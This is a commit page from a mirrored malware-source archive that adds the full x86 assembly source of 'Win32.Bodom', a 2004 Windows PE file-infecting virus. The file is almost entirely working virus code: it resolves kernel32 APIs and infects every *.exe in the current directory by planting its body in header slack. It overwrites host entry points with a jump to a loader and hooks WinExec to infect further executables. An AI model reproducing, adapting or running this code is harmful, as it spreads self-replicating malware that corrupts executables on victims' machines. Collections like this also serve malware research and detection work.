mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,561 @@
|
||||
; Win32.Bodom by DR-EF (c) 2004
|
||||
; -----------------------------
|
||||
;Author:DR-EF
|
||||
;Type:Per Process Resident/Direct Action PE infector
|
||||
;Size:about 1700 bytes
|
||||
;Features:
|
||||
;---------
|
||||
; 1)virus body is placed between the end of
|
||||
; headers and the first section body,so
|
||||
; it dont increase file size
|
||||
; 2)E.P.O - virus dont modifly entry point
|
||||
; instead it overwrite the host entry
|
||||
; point with code that jump to loader
|
||||
; 3)dont change section flags,instead it
|
||||
; place loader at the aligned space of the
|
||||
; code section,this loader allocate memory
|
||||
; and copy the virus body to there,and run
|
||||
; it from the allocated memory
|
||||
; 4)Per Process residenty - the virus hook the
|
||||
; WinExec api,and infect files when this api
|
||||
; is called,it infect the currect directory
|
||||
; as well
|
||||
;
|
||||
;
|
||||
; DR-EF.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
extrn ExitProcess:proc
|
||||
|
||||
.586
|
||||
.model flat
|
||||
|
||||
DEBUG equ 0
|
||||
VirusSize equ (VirusEnd-VirusStart)
|
||||
|
||||
.data
|
||||
db ?
|
||||
|
||||
.code
|
||||
|
||||
_main:
|
||||
;first generation init code:
|
||||
mov eax,VirusSize
|
||||
mov ebx,SizeOfLoaderCode
|
||||
xor ebp,ebp
|
||||
mov dword ptr [ebp + HostEntryPoint_of],offset Exit
|
||||
mov edi,offset HostEntryPointBytes
|
||||
mov esi,offset Exit
|
||||
mov ecx,SizeOfJumpCode
|
||||
rep movsb
|
||||
VirusStart equ $
|
||||
call Delta
|
||||
Delta: pop ebp
|
||||
sub ebp,offset Delta
|
||||
mov eax,dword ptr [esp]
|
||||
xor ax,ax
|
||||
mov ebx,eax
|
||||
@NextP: cmp word ptr [eax],"ZM" ;check mz sign
|
||||
jne MoveNP
|
||||
mov ebx,eax
|
||||
add eax,[eax + 3ch]
|
||||
cmp word ptr [eax],"EP" ;check pe sign
|
||||
je kernelF
|
||||
MoveNP: xchg eax,ebx
|
||||
sub eax,1000h
|
||||
jmp @NextP ;move to next page
|
||||
kernelF:xchg eax,ebx
|
||||
push eax
|
||||
SearchGetProcAddress:
|
||||
add eax,[eax + 3ch]
|
||||
mov eax,[eax + 78h]
|
||||
add eax,[esp]
|
||||
push eax ;eax - kernel32 export table
|
||||
xor edx,edx
|
||||
mov eax,[eax + 20h]
|
||||
add eax,[esp + 4h]
|
||||
mov edi,[eax]
|
||||
add edi,[esp + 4h] ;edi - api names array
|
||||
dec edi
|
||||
nxt_cmp:inc edi
|
||||
lea esi,[ebp + _GetProcAddress]
|
||||
mov ecx,0eh
|
||||
rep cmpsb
|
||||
je search_address
|
||||
inc edx
|
||||
nxt_l: cmp byte ptr [edi],0h
|
||||
je nxt_cmp
|
||||
inc edi
|
||||
jmp nxt_l
|
||||
search_address:
|
||||
pop eax ;eax - kernel32 export table
|
||||
shl edx,1h ;edx - GetProcAddress position
|
||||
mov ebx,[eax + 24h]
|
||||
add ebx,[esp]
|
||||
add ebx,edx
|
||||
mov dx,word ptr [ebx]
|
||||
shl edx,2h
|
||||
mov ebx,[eax + 1ch]
|
||||
add ebx,[esp]
|
||||
add ebx,edx
|
||||
mov ebx,[ebx]
|
||||
add ebx,[esp]
|
||||
mov [ebp + __GetProcAddress],ebx
|
||||
mov ecx,NumberOfApis ;ecx - number of apis
|
||||
lea eax,[ebp + ApiNamesTable] ;eax - address to api strings
|
||||
lea ebx,[ebp + ApiAddressTable] ;ebx - address to api address
|
||||
pop edx ;edx - module handle
|
||||
NextAPI:push ecx
|
||||
push edx
|
||||
push eax
|
||||
push eax
|
||||
push edx
|
||||
call [ebp + __GetProcAddress]
|
||||
mov dword ptr [ebx],eax
|
||||
pop eax
|
||||
NextSTR:inc eax
|
||||
cmp byte ptr [eax],0h
|
||||
jne NextSTR
|
||||
inc eax
|
||||
add ebx,4h
|
||||
pop edx
|
||||
pop ecx
|
||||
loop NextAPI
|
||||
lea eax,[ebp + WIN32_FIND_DATA]
|
||||
push eax
|
||||
call _FindF
|
||||
db "*.exe",0
|
||||
_FindF: call [ebp + FindFirstFile]
|
||||
cmp eax,INVALID_HANDLE_VALUE
|
||||
je Hook
|
||||
mov [ebp + hfind],eax
|
||||
@Find: lea ebx,[ebp + cFileName]
|
||||
call InfectFile
|
||||
lea eax,[ebp + WIN32_FIND_DATA]
|
||||
push eax
|
||||
push dword ptr [ebp + hfind]
|
||||
call [ebp + FindNextFile]
|
||||
or eax,eax
|
||||
jnz @Find
|
||||
Hook: ;hook the WinExec api
|
||||
mov eax,400000h ;host image base
|
||||
HostImageBase equ ($-VirusStart-4)
|
||||
lea ebx,[ebp + dll]
|
||||
lea ecx,[ebp + fn]
|
||||
lea edx,[ebp + WinExecHook]
|
||||
call HookApi
|
||||
mov [ebp + WinExec_],eax
|
||||
ReturnToHost:
|
||||
mov edi,12345678h
|
||||
HostEntryPoint_of equ ($-4)
|
||||
HostEntryPoint_ equ ($-VirusStart-4)
|
||||
push edi
|
||||
call dummy
|
||||
HostEntryPoint dd 0
|
||||
dummy: push PAGE_EXECUTE_READWRITE
|
||||
push 1000h
|
||||
push edi
|
||||
call [ebp + VirtualProtect]
|
||||
mov ecx,SizeOfJumpCode
|
||||
lea esi,[ebp + HostEntryPointBytes]
|
||||
rep movsb
|
||||
ret
|
||||
|
||||
db "[Win32.Bodom] Written By DR-EF (c) 2004"
|
||||
|
||||
;input:
|
||||
;eax - image base
|
||||
;ebx - dll name
|
||||
;ecx - function name
|
||||
;edx - hook procedure
|
||||
;output
|
||||
;eax - new function address or 0 if fail
|
||||
HookApi:
|
||||
cmp word ptr [eax],"ZM" ;check mz sign
|
||||
jne HookErr
|
||||
push eax ;save image base in the stack
|
||||
add eax,[eax + 3ch] ;goto pe header
|
||||
add eax,80h
|
||||
mov eax,[eax] ;get import section rva
|
||||
cmp eax,0h
|
||||
je HookErr_
|
||||
add eax,[esp] ;convert it to va
|
||||
@Dll: mov esi,[eax + 0ch]
|
||||
cmp esi,0h
|
||||
je HookErr_
|
||||
add esi,[esp] ;esi - dll name
|
||||
;compare the dll name in [esi],with our dll:
|
||||
pushad
|
||||
xchg edi,ebx
|
||||
xor ecx,ecx
|
||||
@Gsize: cmp byte ptr [edi+ecx],0h ;get our dll size
|
||||
je _Size
|
||||
inc ecx
|
||||
jmp @Gsize
|
||||
_Size: rep cmpsb
|
||||
je _dll
|
||||
popad
|
||||
add eax,14h ;move to next IMAGE_IMPORT_DESCRIPTOR structure
|
||||
jmp @Dll
|
||||
_dll: popad
|
||||
;edx - Hook procedure
|
||||
;ecx - function to hook
|
||||
;eax - IMAGE_IMPORT_DESCRIPTOR of our api dll
|
||||
;[esp] - image base
|
||||
mov ebx,[eax] ;get rva to pointers to image import by name structures
|
||||
add ebx,[esp] ;convert it to va
|
||||
xor edi,edi ;used to save loop index
|
||||
@FindApi:
|
||||
;ebx - pointer to pointers arrary of import by name structures
|
||||
push edi ;save loop index
|
||||
push ebx ;save pointer to import by name structures
|
||||
push eax ;save import section rva
|
||||
push ecx ;save function to hook name
|
||||
push edx ;save hook procedure
|
||||
;--------------------------------------------------------------------
|
||||
mov esi,[ebx] ;get import by name structure rva
|
||||
add esi,[esp + 14h] ;convert it to va
|
||||
add esi,2h ;skip the IBN_Hint
|
||||
;compare api string with our api name:
|
||||
mov edi,ecx ;move our api name into edi
|
||||
xor ecx,ecx ;used to save our api name size
|
||||
@GSize_:cmp byte ptr [edi + ecx],0h ;did we in the end ?
|
||||
je ___Size
|
||||
inc ecx
|
||||
jmp @GSize_
|
||||
___Size:inc ecx ;include the 0
|
||||
rep cmpsb ;compare api names
|
||||
je ApiFound ;we found it !
|
||||
;--------------------------------------------------------------------
|
||||
;restore everthing
|
||||
pop edx
|
||||
pop ecx
|
||||
pop eax
|
||||
pop ebx
|
||||
pop edi
|
||||
add edi,4h
|
||||
add ebx,4h ;move to next pointer
|
||||
cmp dword ptr [ebx],0h ;no more pointers ???
|
||||
jne @FindApi
|
||||
HookErr_:
|
||||
pop eax
|
||||
HookErr:xor eax,eax
|
||||
ret
|
||||
ApiFound:
|
||||
pop edx
|
||||
pop ecx
|
||||
pop eax
|
||||
pop ebx
|
||||
pop edi
|
||||
mov esi,[eax + 10h] ;rva to name
|
||||
add esi,[esp]
|
||||
add esi,edi ;goto our api address
|
||||
mov eax,[esi] ;get our api old address
|
||||
mov [esi],edx ;hook it !
|
||||
pop esi ;restore stack
|
||||
ret
|
||||
|
||||
WinExecHook:
|
||||
IF DEBUG
|
||||
int 3
|
||||
ENDIF
|
||||
pushad
|
||||
pushfd
|
||||
call HookD
|
||||
HookD: pop ebp
|
||||
sub ebp,offset HookD
|
||||
mov ebx,[esp + 28h]
|
||||
call InfectFile
|
||||
popfd
|
||||
popad
|
||||
push ebp
|
||||
call Hook_D
|
||||
Hook_D: pop ebp
|
||||
sub ebp,offset Hook_D
|
||||
xchg eax,ebp
|
||||
pop ebp
|
||||
jmp dword ptr [eax + WinExec_]
|
||||
|
||||
|
||||
WinExec_ dd 0
|
||||
dll db "KERNEL32.dll",0
|
||||
fn db "WinExec",0
|
||||
hfind dd 0
|
||||
INVALID_HANDLE_VALUE equ -1
|
||||
|
||||
|
||||
WIN32_FIND_DATA:
|
||||
dwFileAttributes dd 0
|
||||
ftCreationTime dq 0
|
||||
ftLastAccessTime dq 0
|
||||
ftLastWriteTime dq 0
|
||||
nFileSizeHigh dd 0
|
||||
nFileSizeLow dd 0
|
||||
dwReserved0 dd 0
|
||||
dwReserved1 dd 0
|
||||
cFileName db 0ffh dup (0)
|
||||
cAlternateFileName db 14h dup (0)
|
||||
|
||||
|
||||
;ebx - file name
|
||||
InfectFile:
|
||||
xor eax,eax
|
||||
push eax
|
||||
push FILE_ATTRIBUTE_NORMAL
|
||||
push OPEN_EXISTING
|
||||
push eax
|
||||
push eax
|
||||
push GENERIC_READ or GENERIC_WRITE
|
||||
push ebx
|
||||
call [ebp + CreateFile]
|
||||
inc eax
|
||||
je ExitInfect
|
||||
dec eax
|
||||
mov dword ptr [ebp + hfile],eax
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push PAGE_READWRITE
|
||||
push eax
|
||||
push dword ptr [ebp + hfile]
|
||||
call [ebp + CreateFileMapping]
|
||||
or eax,eax
|
||||
je ExitCloseFile
|
||||
mov dword ptr [ebp + hmap],eax
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push FILE_MAP_WRITE
|
||||
push dword ptr [ebp + hmap]
|
||||
call [ebp + MapViewOfFile]
|
||||
or eax,eax
|
||||
je ExitCloseMap
|
||||
mov dword ptr [ebp + mapbase],eax
|
||||
cmp word ptr [eax],"ZM" ;check mz sign
|
||||
jne ExitUnmap
|
||||
add eax,[eax + 3ch]
|
||||
cmp word ptr [eax],"EP" ;check pe sign
|
||||
jne ExitUnmap
|
||||
cmp byte ptr [eax + 0bh],29h ;check if already infected
|
||||
je ExitUnmap
|
||||
push eax ;save pe header offset in the stack
|
||||
xor ecx,ecx
|
||||
mov cx,[eax + 6h] ;get number of sections
|
||||
mov ebx,[eax + 34h] ;get image base
|
||||
mov dword ptr [ebp + VirusEntryPoint],ebx
|
||||
mov dword ptr [ebp + LoaderEntryPoint],ebx
|
||||
mov dword ptr [ebp + HostEntryPoint],ebx
|
||||
mov ebx,[eax + 28h]
|
||||
add dword ptr [ebp + HostEntryPoint],ebx
|
||||
mov ebx,[eax + 74h]
|
||||
shl ebx,3h
|
||||
add eax,ebx
|
||||
add eax,78h ;eax -first section header
|
||||
mov ebx,[eax + 0ch] ;get virtual address
|
||||
cmp ebx,[eax + 14h]
|
||||
jne Exit__ ;dont infect file
|
||||
push eax
|
||||
@GetLS: add eax,28h
|
||||
loop @GetLS
|
||||
sub eax,[ebp + mapbase] ;get end of headers(pe & sections),in file
|
||||
pop ebx
|
||||
mov ecx,[ebx + 14h] ;get pointer to raw data of the first section
|
||||
sub ecx,eax
|
||||
cmp ecx,VirusSize ;there enough space ?
|
||||
jb Exit__
|
||||
mov edi,eax
|
||||
add edi,[ebp + mapbase]
|
||||
push edi
|
||||
push edi
|
||||
sub edi,[ebp + mapbase]
|
||||
add dword ptr [ebp + VirusEntryPoint],edi ;save virus entry point
|
||||
mov edx,[esp] ;get pe header offset
|
||||
mov eax,[ebx + 10h] ;get size of raw data
|
||||
sub eax,[ebx + 8h] ;get aligned space size
|
||||
cmp eax,SizeOfLoaderCode
|
||||
jb Exit__
|
||||
mov edi,[ebx + 14h] ;get pointer to raw data
|
||||
add edi,[ebx + 8h] ;goto alinged space
|
||||
add dword ptr [ebp + LoaderEntryPoint],edi
|
||||
add edi,[ebp + mapbase]
|
||||
lea esi,[ebp + Loader_Code]
|
||||
mov ecx,SizeOfLoaderCode
|
||||
rep movsb ;copy the loader into the host
|
||||
lea edi,[ebp + JumpCode]
|
||||
xor ecx,ecx
|
||||
mov cx,word ptr [ebp + push_and_ret+4]
|
||||
mov byte ptr [edi],68h
|
||||
mov dword ptr [edi + 1h],ecx
|
||||
add edi,5h
|
||||
mov ecx,dword ptr [ebp + push_and_ret]
|
||||
mov byte ptr [edi],68h
|
||||
mov dword ptr [edi +1h],ecx
|
||||
pop edi
|
||||
push edi
|
||||
lea esi,[ebp + VirusStart]
|
||||
mov ecx,VirusSize
|
||||
rep movsb ;copy the virus into host
|
||||
;patch the return to host address
|
||||
pop edi
|
||||
push dword ptr [ebp + HostEntryPoint]
|
||||
pop dword ptr [edi + HostEntryPoint_]
|
||||
mov esi,dword ptr [esp + 4h] ;get pe header
|
||||
push dword ptr [esi + 34h] ;push image base
|
||||
pop dword ptr [edi + HostImageBase] ;save image base in the virus body
|
||||
mov esi,dword ptr [esi + 28h] ;get entry point
|
||||
add esi,[ebp + mapbase]
|
||||
pop edi
|
||||
push esi
|
||||
add edi,(HostEntryPointBytes - VirusStart)
|
||||
mov ecx,SizeOfJumpCode
|
||||
rep movsb ;save host entry point bytes
|
||||
pop edi
|
||||
lea esi,[ebp + JumpCode]
|
||||
mov ecx,SizeOfJumpCode
|
||||
rep movsb ;overwrite host entry point with jumper code
|
||||
Exit__: pop eax ;restore pe header
|
||||
mov byte ptr [eax + 0bh],29h ;sign the file as infected
|
||||
ExitUnmap:
|
||||
push dword ptr [ebp + mapbase]
|
||||
call [ebp + UnmapViewOfFile]
|
||||
ExitCloseMap:
|
||||
push dword ptr [ebp + hmap]
|
||||
call [ebp + CloseHandle]
|
||||
ExitCloseFile:
|
||||
push dword ptr [ebp + hfile]
|
||||
call [ebp + CloseHandle]
|
||||
ExitInfect:
|
||||
ret
|
||||
|
||||
hfile dd 0
|
||||
hmap dd 0
|
||||
mapbase dd 0
|
||||
|
||||
|
||||
push_and_ret:
|
||||
db 68h
|
||||
LoaderEntryPoint dd 0
|
||||
db 0c3h
|
||||
|
||||
JumpCode:
|
||||
db 0ah dup (0)
|
||||
push esp
|
||||
xor eax,eax
|
||||
push dword ptr fs:[eax]
|
||||
mov fs:[eax],esp
|
||||
mov dword ptr [eax],eax
|
||||
|
||||
SizeOfJumpCode equ ($-JumpCode)
|
||||
|
||||
|
||||
HostEntryPointBytes db SizeOfJumpCode dup(0)
|
||||
|
||||
PAGE_EXECUTE_READWRITE equ 40h
|
||||
FILE_ATTRIBUTE_NORMAL equ 00000080h
|
||||
FILE_MAP_READ equ 00000004h
|
||||
OPEN_EXISTING equ 3
|
||||
FILE_SHARE_READ equ 00000001h
|
||||
GENERIC_READ equ 80000000h
|
||||
GENERIC_WRITE equ 40000000h
|
||||
PAGE_READWRITE equ 4h
|
||||
FILE_MAP_WRITE equ 00000002h
|
||||
|
||||
Loader_Code:
|
||||
;find VirtualAlloc api,allocate memory,copy virus into memory & run it
|
||||
mov esp,[esp + 8h]
|
||||
pop dword ptr fs:[0]
|
||||
add esp,0ch
|
||||
mov eax,dword ptr [esp] ;get return address
|
||||
xor ax,ax
|
||||
@Find_: cmp word ptr [eax],"ZM"
|
||||
je ___1
|
||||
sub eax,1000h
|
||||
jmp @Find_
|
||||
___1: push eax ;eax - kernel base address
|
||||
add eax,[eax + 3ch]
|
||||
mov eax,[eax + 78h]
|
||||
add eax,[esp]
|
||||
push eax ;eax - kernel32 export table
|
||||
xor edx,edx
|
||||
mov eax,[eax + 20h]
|
||||
add eax,[esp+4h]
|
||||
mov edi,[eax]
|
||||
add edi,[esp+4h] ;edi - api names array
|
||||
dec edi
|
||||
NxtCmp: inc edi
|
||||
call OverVA
|
||||
db "VirtualAlloc",0
|
||||
OverVA: pop esi
|
||||
mov ecx,0ch
|
||||
rep cmpsb
|
||||
je FindAdd
|
||||
inc edx
|
||||
NXT: cmp byte ptr [edi],0h
|
||||
je NxtCmp
|
||||
inc edi
|
||||
jmp NXT
|
||||
FindAdd:pop eax ;eax - kernel32 export table
|
||||
shl edx,1h ;edx - GetProcAddress position
|
||||
mov ebx,[eax + 24h]
|
||||
add ebx,[esp]
|
||||
add ebx,edx
|
||||
mov dx,word ptr [ebx]
|
||||
shl edx,2h
|
||||
mov ebx,[eax + 1ch]
|
||||
add ebx,[esp]
|
||||
add ebx,edx
|
||||
mov ebx,[ebx]
|
||||
add ebx,[esp] ;ebx - GlobalAlloc address
|
||||
pop eax
|
||||
push PAGE_EXECUTE_READWRITE
|
||||
push 1000h
|
||||
push VirusSize
|
||||
push 0h
|
||||
call ebx ;allocate memory
|
||||
push eax
|
||||
xchg edi,eax
|
||||
mov esi,12345678h
|
||||
VirusEntryPoint equ ($-4)
|
||||
mov ecx,VirusSize
|
||||
rep movsb
|
||||
ret
|
||||
|
||||
SizeOfLoaderCode equ ($-Loader_Code)
|
||||
|
||||
_GetProcAddress db "GetProcAddress",0
|
||||
__GetProcAddress dd 0
|
||||
|
||||
ApiNamesTable:
|
||||
_CreateFile db "CreateFileA",0
|
||||
_CloseHandle db "CloseHandle",0
|
||||
_CreateFileMapping db "CreateFileMappingA",0
|
||||
_MapViewOfFile db "MapViewOfFile",0
|
||||
_UnmapViewOfFile db "UnmapViewOfFile",0
|
||||
_FindFirstFileA db "FindFirstFileA",0
|
||||
_FindNextFileA db "FindNextFileA",0
|
||||
_VirtualProtect db "VirtualProtect",0
|
||||
|
||||
ApiAddressTable:
|
||||
CreateFile dd 0
|
||||
CloseHandle dd 0
|
||||
CreateFileMapping dd 0
|
||||
MapViewOfFile dd 0
|
||||
UnmapViewOfFile dd 0
|
||||
FindFirstFile dd 0
|
||||
FindNextFile dd 0
|
||||
VirtualProtect dd 0
|
||||
|
||||
NumberOfApis equ 8
|
||||
|
||||
VirusEnd equ $
|
||||
|
||||
Exit:
|
||||
push eax
|
||||
call ExitProcess
|
||||
end _main
|
||||
Reference in New Issue
Block a user